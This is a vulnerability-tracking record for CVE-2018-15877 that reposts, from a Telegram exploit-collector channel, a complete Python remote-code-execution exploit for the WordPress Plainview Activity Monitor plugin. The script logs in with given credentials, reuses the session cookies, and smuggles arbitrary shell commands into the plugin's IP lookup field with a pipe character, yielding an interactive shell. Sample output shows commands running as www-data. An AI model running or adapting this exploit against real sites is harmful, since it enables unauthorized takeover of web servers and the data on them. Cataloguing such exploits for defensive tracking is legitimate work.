{"uuid": "69612ead-4cb2-4441-b480-31f0d4d96be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "https://t.me/hacking_Attack/15760", "content": "Exploit Collector\nWordPress Plainview Activity Monitor 20161228 Remote Code Execution\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nWordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.\n\nMD5 | 93650ad2460fe99455fca01d973be3e8\n\nDownload\n# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)\n# Date: 07.07.2021\n# Exploit Author: Beren Kuday GORUN\n# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/\n# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip\n# Version: 20161228 and possibly prior\n# Fixed version: 20180826\n# CVE : CVE-2018-15877\n\n\"\"\"\n-------------------------\nUsage:\n\u250c\u2500\u2500(root@kali)-[~/tools]\n\u2514\u2500# python3 WordPress-Activity-Monitor-RCE.py\nWhat's your target IP?\n192.168.101.28\nWhat's your username?\nmark\nWhat's your password?\npassword123\n[*] Please wait...\n[*] Perfect! \nwww-data@192.168.101.28  whoami\nwww-data\nwww-data@192.168.101.28  pwd\n/var/www/html/wp-admin\nwww-data@192.168.101.28  id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef exploit(whoami, ip):\nwhile 1:\ncmd = input(whoami+\"@\"+ip+\"  \")\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\npayload = \"google.com.tr | \" + cmd\ndata = {'ip': payload , 'lookup' : 'lookup' }\nx = requests.post(url, data = data, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(soup.p.text)\n\ndef poc(ip):\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\nmyobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }\nx = requests.post(url, data = myobj, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(\"[*] Perfect! \")\nexploit(soup.p.text, ip)\n\ndef getCookie(ip):\nurl = 'http://' + ip + '/wp-login.php'\n#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1\ndata = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}\nx = requests.post(url, data = data)\ncookies = {}\ncookie = str(x.headers[\"Set-Cookie\"])\n\nfor i in cookie.split():\nif(i.find(\"wordpress\") != -1 and i.find(\"=\") != -1):\ncookies[i.split(\"=\")[0]] = i.split(\"=\")[1][:len(i.split(\"=\")[1])-1]\nreturn cookies\n\nip = input(\"What's your target IP?\\n\")\nusername = input(\"What's your username?\\n\")\npassword = input(\"What's your password?\\n\")\nprint(\"[*] Please wait...\")\npoc(ip)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:33.914060Z"}